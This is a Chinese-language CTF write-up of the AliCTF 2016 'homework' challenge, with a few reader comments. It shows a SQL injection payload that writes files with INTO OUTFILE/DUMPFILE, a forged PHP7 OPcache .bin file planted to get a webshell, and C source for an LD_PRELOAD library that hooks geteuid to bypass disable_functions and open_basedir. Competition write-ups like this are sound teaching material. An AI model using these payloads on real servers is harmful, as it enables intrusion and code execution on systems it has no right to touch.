AliCTF—homework

  • 2016-06-08
  • 2,802
  • 8

0x01 发现

首先拿工具扫一下,找到了几个文件
http://121.40.50.146/readme.html
http://121.40.50.146/info.php
有个hint,说flag在/,而且禁止了所有命令(最后才理解)
http://121.40.50.146/phpinfo.html
看了下phpinfo,版本php7.0,开启了opcache
1所以想到了前段时间出的OPcache漏洞
http://drops.wooyun.org/web/15450
先把phpinfo存一份到本地,然后根据里面利用场景中的脚本算出system_id(https://github.com/GoSecure/php7-opcache-override)
2

网站的缓存路径:
/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/
网站路径为:
/var/www/html/

0x02 getshell

注册账号并且登陆后发现detail.php?id=处可以注入,抓包可以直接sqlmap
后台有一个上传点,直接判断了下,抓包可以直接上传任何文件,最开始的时候传了一个.pht的phpinfo,直接执行了,小激动了一下,以为拿下shell了,没想到火日大大瞬间就秒补了漏洞。手速快一点就直接getshell了,然并卵 ,还是一步步正规走吧……Orz
根据乌云那个文章案例,需要上传一个bin文件,因为有注入,所以可以直接into outfile测试可以成功
33

http://121.40.50.146/detail.php?id=-5197' union select 'ByStudent' into outfile '/var/www/html/upload/ByStudent.txt' --+

然后就是上传bin文件了;
在虚拟机搭建个一模一样的环境:php7.0开opcache,缓存目录和网站目录都要相同
搭建好以后,只要在根目录下放一个php目录,访问localhost/a.php缓存目录下即可自动生成a.php.bin
去服务器后台上传点传一个php的木马,上传后名字会自动更改为加了时间戳的:upload/20160605124909-ByStudent.php
(上传后一定不可以访问,如果访问的话后台就会生成.bin文件,那么在用注入去写入文件是不可以覆盖的,所以也就无法使用了)
upload的源码:

if(isset($_FILES['pic']['name'])&&$_FILES['pic']['name']!=="") {
	$picname = $_FILES['pic']['name'];
	if(!preg_match("/^[\w.]+$/",$picname))
		die("Filename only allow /^[\w.]+$/");
	
	$picsize = $_FILES['pic']['size'];
	if ($picname != "") {
		if ($picsize > 1024000) {
			die('Too big!');
		}
		
		$pics = date("YmdHis")."-".$picname;
		$pic_path = "upload/". $pics;
		
		if(stripos($picname,"ph")!==false||stripos($picname,"pht")!==false||stripos($picname,"php5")!==false||stripos($picname,"php4")!==false||stripos($picname,"php3")!==false)
			file_put_contents($pic_path,"bad man!");	
		else		
			move_uploaded_file($_FILES['pic']['tmp_name'], $pic_path);

        $sql = "INSERT INTO homework(username,brief) values('".$_SESSION['username']."','$detail')";
		query($sql);
        echo "Upload Success锛丳ath:".$pic_path;
	}
	else
		die("Where is your homework?");	
}

拿到文件名之后,去自己搭建的环境的upload目录写一个名为20160605124909-ByStudent.php的php文件,
浏览器访问http://lcoalhost/upload/20160605124909-ByStudent.php,
即可在/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/ 目录下生成一个20160605124909-ByStudent.php.bin
在上传的这个地方卡了好几个小时,先hex在unhex,先上传在导入都不行,一度以为是服务器瘫了,但后来才发现是我错了,
根本问题:outfile与dumpfile的区别
导入bin文件:

SELECT unhex(0x123455AAA) INTO DUMPFILE ‘/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/20160605124909-ByStudent.php.bin’;

然后访问http://121.40.50.146/upload/20160605124909-ByStudent.php就拿到shell了
(虽然禁止了所有函数,但是eval的一句话还是可以执行,不知道为什么)。

0x03 拿flag

拿到shell之后才是大坑,除了echo 之外其他命令都不能执行,看下phpinfo的disable就知道了,而且也没法调用系统函数,而且设置了open_basedir
5
6
然后就是要想办法绕过open_basedir和disable_function去执行ls /查看flag文件,一顿百度搜到前几天乌云发的一个文章http://drops.wooyun.org/tips/16054
试了下里面的hack.c,把命令改成ls / > /tmp/ByStudent.txt,但是无论导入到tmp还是www目录始终都是空文件,然后换了各种命令,都无法执行,最后想起来info.php的hint,意思应该就是禁止了全部的php和系统命令,所以写一段c程序来执行ls命令
(ls用的是dirent.h,而且直接写文件是不行的,要用system调echo去写文件)
ls.c代码:

#include <dirent.h>
#include <stdlib.h>
#include <string.h>
void payload() {
    DIR* dp;
    struct dirent* dirp;
    dp=opendir("/");
    while((dirp=readdir(dp))!=NULL){
      char cmd[256];
      snprintf(cmd, 256, "echo '%s ' >> /tmp/flappypig1",dirp->d_name);
      system(cmd);
    }
    closedir(dp);
}
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

通过gcc编译为一个位置信息无关的动态共享库

gcc -c -fPIC hack.c -o hack 
gcc -shared hack -o hack.so

然后上传
upload
上传后导出一个可以执行so的webshell
woyaomaichuizi
访问webshell即可在tmp目录下生成flappypig1文件,再通过包含查看
ls
同理即可导出flag
getflag

评论

  • what

    表哥你用什么工具扫的目录啊,一直在给的那几个页面懵逼了半天

    • ByStudent

      都可以啊,以前很多扫目录的工具,像phpinfo这种的都不用扫啊!

  • what

    phpinfor 这种直接自己试吗?awvs之类的工具么?

    • ByStudent

      这个一般就是手工的啊,awvs一般只扫漏洞,敏感信息这个可以自己写个脚本扫

      • what

        表哥直接告诉我工具是啥吧。。。。莫非是表哥自己写的小工具么?

    • ByStudent

      额,,,逆向不会啊……

你必须 登录 才能发表评论.